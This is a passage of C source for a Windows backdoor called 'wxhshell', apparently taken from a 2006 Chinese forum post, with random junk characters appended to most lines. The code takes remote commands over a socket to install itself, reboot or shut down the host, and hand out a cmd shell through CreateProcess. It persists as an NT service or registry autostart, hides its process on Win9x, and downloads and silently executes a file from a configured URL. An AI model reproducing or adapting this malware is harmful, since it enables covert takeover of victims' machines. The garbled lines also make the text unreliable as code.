  else { 6Hb a@Q1`  
z__t8yc3  
    switch(cmd[0]) { -Wmb M]Z  
  a%HNz_ro  
  // 帮助 b"#S92R+  
  case '?': { s&o9LdL  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Xl2g Hh  
    break; 3'6 UvAXFH  
  } w[l#0ZZ  
  // 安装 rxMo7px@}I  
  case 'i': { d>I)_05t  
    if(Install()) NTZ3Np`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kq(><T  
    else F~E)w5?\O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <G<5)$ S  
    break; uSI@Cjp  
    } Y R~e_cA:  
  // 卸载 :ln| n6X  
  case 'r': { Z R=[@Oi  
    if(Uninstall()) 4<}@hk Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]smu~t0\  
    else ; xw9#.d#D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _~CJitR3  
    break; (ot56`,k  
    } (t&`m[>K  
  // 显示 wxhshell 所在路径 Z-ci[Zv  
  case 'p': { `$JZJ!,A  
    char svExeFile[MAX_PATH]; )S4ga  
    strcpy(svExeFile,"\n\r"); O SUiS`k  
      strcat(svExeFile,ExeFile); k0\a7$}F  
        send(wsh,svExeFile,strlen(svExeFile),0); xWa[qCr  
    break; 0&| M/  
    } q[P>s{"  
  // 重启 QaEiPn~  
  case 'b': { A0A|cJP  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); sl$y&C-  
    if(Boot(REBOOT)) ^Lfwoy7R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZBY}Mz$  
    else { [#\OCdb*3  
    closesocket(wsh); E$:2AK{*  
    ExitThread(0); "WGKwi=W  
    } la)+"uW  
    break; M^HYkXn[  
    } [3S17tTc3  
  // 关机 yp=sL' E  
  case 'd': { X#0yOSR  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5M'cOJ  
    if(Boot(SHUTDOWN)) 9cN@y<_I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $4ZV(j]  
    else { By!u*vSev  
    closesocket(wsh); =Oh$pZRymu  
    ExitThread(0); nXfz@q  
    } O,^s)>c  
    break; ljrJC  
    } 6=JJ!`"<2  
  // 获取shell Cpd>xXZz&S  
  case 's': { u:(=gj,~x  
    CmdShell(wsh); +ru`Zw5,  
    closesocket(wsh); .i_ gE5  
    ExitThread(0); lQ ki58.  
    break; ./7-[d  
  } x~Z7p)D_<  
  // 退出 HES$. a  
  case 'x': { =&"pG` x  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @%u}|iF|  
    CloseIt(wsh); ?uTuO  
    break; ph(LsPT-  
    } !E00I0W-h  
  // 离开 />9`Mbg[G  
  case 'q': { |8k^jq  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5lzbg   
    closesocket(wsh); B3[X{n$px  
    WSACleanup(); :$yOic}y  
    exit(1); MU] F'6V  
    break; OraT$lV)_  
        } N@k' s   
  } @(x]+*)  
  } AZNo%!)o  
LHOt(5VY  
  // 提示信息 kn3GgdU  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  FO!0TyQ  
} "3Dnp?gB  
  } \&V[<]  
h \`(  
  return; ^_G#JJ\@$  
} MMaS  
Ux" ^3D  
// shell模块句柄 CP"5E?dcK  
int CmdShell(SOCKET sock) RmKbnS $*q  
{ ~PF,[$?4n  
STARTUPINFO si; dE[X6$H[  
ZeroMemory(&si,sizeof(si)); >yVrIko  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^56D)A=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3#udz C  
PROCESS_INFORMATION ProcessInfo; d1^5r 31  
char cmdline[]="cmd"; ^"/TWl>jB  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *CF80DJ  
  return 0; ;VCFDE{K=  
} F [-D +Nka  
O7Jp ;  
// 自身启动模式 =r`E%P:  
int StartFromService(void) AoxORPp'  
{ 4TU\SP8sM  
typedef struct "AMwo(Yi  
{ bfJ<~ss/  
  DWORD ExitStatus; Q(1R=4?.Z  
  DWORD PebBaseAddress; [!KsAsmk  
  DWORD AffinityMask; A~?)g!tS<  
  DWORD BasePriority; E'8XXV^I?P  
  ULONG UniqueProcessId; !.@:t`w  
  ULONG InheritedFromUniqueProcessId; 4^Ks!S>K{8  
}   PROCESS_BASIC_INFORMATION; TDP Q+Kg_  
G6Wa0Z  
PROCNTQSIP NtQueryInformationProcess; g;o5m}  
k-s|gC4  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; cqZ lpm$c  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7I(QTc)*  
c(3idO*R)  
  HANDLE             hProcess; 2"Unk\Y  
  PROCESS_BASIC_INFORMATION pbi; jgpF+V-n$  
V*%><r  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1)N#  
  if(NULL == hInst ) return 0; LG("<CU  
vPy."/[u  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); yMgS0  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \!>qtFT  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ee Bw\f0  
Ix=(f0|  
  if (!NtQueryInformationProcess) return 0; !]7L9TGn  
3dtL[aVwY  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]wbV1Y"  
  if(!hProcess) return 0; 3<a|_(K  
fx^yC.$2  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; l0',B*og  
%3HF_DNOY=  
  CloseHandle(hProcess); $Zrc-tkV  
pwVGe|h%,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); J<cY'?D  
if(hProcess==NULL) return 0; .k!2{A  
a*_" nI&lr  
HMODULE hMod; sC :.}6  
char procName[255]; Y{4nBu  
unsigned long cbNeeded; `v/p4/  
7Z}T!HFMr  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); KlwB oC/{K  
e<u~v0rDl  
  CloseHandle(hProcess); Fb{HiU9<!  
1[RI 07g7*  
if(strstr(procName,"services")) return 1; // 以服务启动 VF<VyWFC0`  
R\6dvd  
  return 0; // 注册表启动 #N97  
} _w5c-\-PUM  
!.|A}8nK  
// 主模块 te>Op 1R  
int StartWxhshell(LPSTR lpCmdLine) x+Ly,9nc$  
{ q?0&0  
  SOCKET wsl; 1yc$b+TH  
BOOL val=TRUE; [A;0I jKam  
  int port=0; R&/"?&pfa  
  struct sockaddr_in door; =| r% lx  
q{q;X{  
  if(wscfg.ws_autoins) Install(); h)r=+Q\'(S  
1:I _ ;O_  
port=atoi(lpCmdLine); b^P\Kky  
| gGD3H  
if(port<=0) port=wscfg.ws_port;  `7V'A  
^NxKA'oWQ  
  WSADATA data; fzjtaH?  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7zNfq.Ni~  
7u%OYt D E  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \ tU[,3  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ZzT"u1,&  
  door.sin_family = AF_INET; ZZeF1y[q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); f_.0 uM  
  door.sin_port = htons(port); .  
mP +H C)2  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %L  nG^L  
closesocket(wsl); kxY9[#:<fB  
return 1; Sjmq\A88dc  
} ,YrPwdaTB  
!3*%-8bp  
  if(listen(wsl,2) == INVALID_SOCKET) { RE;)#t?K  
closesocket(wsl); G|UeR=/  
return 1; m]VOw)mBF  
} 3e;ux6  
  Wxhshell(wsl); *W4~.peoE  
  WSACleanup(); V67<Ky>  
pvM`j86 _  
return 0; +'9xTd  
xI5zP? _v  
} "!o|^nN,  
S"Ag7i  
// 以NT服务方式启动 #4& <d.aw'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^QTkre  
{ zgSv -h+f  
DWORD   status = 0; `S]DHxS  
  DWORD   specificError = 0xfffffff; B!1L W4^  
","to  
  serviceStatus.dwServiceType     = SERVICE_WIN32; DPlmrN9@=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; _&$nJu  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +Jq~39  
  serviceStatus.dwWin32ExitCode     = 0; zj;Ktgc E  
  serviceStatus.dwServiceSpecificExitCode = 0; ,Mu"r!MK  
  serviceStatus.dwCheckPoint       = 0; )dRB I)P  
  serviceStatus.dwWaitHint       = 0; KC-@2,c9V  
};~I#X  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); YD;"_yH  
  if (hServiceStatusHandle==0) return; >td\PW~X  
<IQ}j^u-F  
status = GetLastError(); e[.JS6  
  if (status!=NO_ERROR) hJoh5DIE95  
{ E@)9'?q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ]7%+SH,RdD  
    serviceStatus.dwCheckPoint       = 0; TmgSV#G  
    serviceStatus.dwWaitHint       = 0; J/A UOInh  
    serviceStatus.dwWin32ExitCode     = status; a +`;:tX,  
    serviceStatus.dwServiceSpecificExitCode = specificError; .!g  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); t[bZg9;  
    return; "l-b(8n  
  } T:w%RF[v9  
]nx5E_j2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; DcNwtts  
  serviceStatus.dwCheckPoint       = 0; +2^Mz&I@b  
  serviceStatus.dwWaitHint       = 0; vb]H $@0  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2P VQSwW:  
} P{>-MT2E  
!u%XvxJwDb  
// 处理NT服务事件,比如:启动、停止 I !g+K  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Vs&Ul6@N  
{ 4]ETF+   
switch(fdwControl) q<Wz9lDMNR  
{ 2!6-+]tC  
case SERVICE_CONTROL_STOP: ]=sGLd^)E  
  serviceStatus.dwWin32ExitCode = 0; RjG=RfB'V  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /8s>JPXKH[  
  serviceStatus.dwCheckPoint   = 0; KA]5tVQA  
  serviceStatus.dwWaitHint     = 0; qf B!)Y  
  { Vg1MA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d)v'K5  
  } MVe4[<  
  return; \yA*)X+  
case SERVICE_CONTROL_PAUSE: SQI =D8  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {'q(a4  
  break; oJor ]QYK  
case SERVICE_CONTROL_CONTINUE: JA6#qlylL  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; t;)`+K#1:  
  break; )ZDqj  
case SERVICE_CONTROL_INTERROGATE: 1H7 bPl|  
  break; 690;\O '  
}; :3By7BZgj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'FmnlC1  
} 6kHb*L Je  
#s|/5[i  
// 标准应用程序主函数 FDIOST !  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Gbc2\A\  
{ 0D^c4[Y'l  
2g_2$)2  
// 获取操作系统版本 pq<2:F:Kl  
OsIsNt=GetOsVer(); C4t@;U=x  
GetModuleFileName(NULL,ExeFile,MAX_PATH); \={A%pA;@{  
ZD`0(CkXb  
  // 从命令行安装 "A3V(~%!  
  if(strpbrk(lpCmdLine,"iI")) Install(); %&S :W%qm?  
H!uq5` j0K  
  // 下载执行文件 sWX\/Iyy2p  
if(wscfg.ws_downexe) { D=!5l4  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ,~qjL|9  
  WinExec(wscfg.ws_filenam,SW_HIDE); )W$@phY(I  
} $|!@$Aj  
#(Ezt% ^  
if(!OsIsNt) { {&s.*5  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?M@ff0  
HideProc(); @N+6qO}  
StartWxhshell(lpCmdLine); -!pg1w06  
} 3`DwKv `+  
else x_BnWFP  
  if(StartFromService()) * odwg$  
  // 以服务方式启动 kU[#. y=%p  
  StartServiceCtrlDispatcher(DispatchTable); ? EXYLG  
else fs%l j_t  
  // 普通方式启动  e6hfgVN  
  StartWxhshell(lpCmdLine); jij-pDQnv  
RI-)Qx&!f  
return 0; ?UV!^w@L:0  
}
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只看该作者 1 发表于: 2006-10-10
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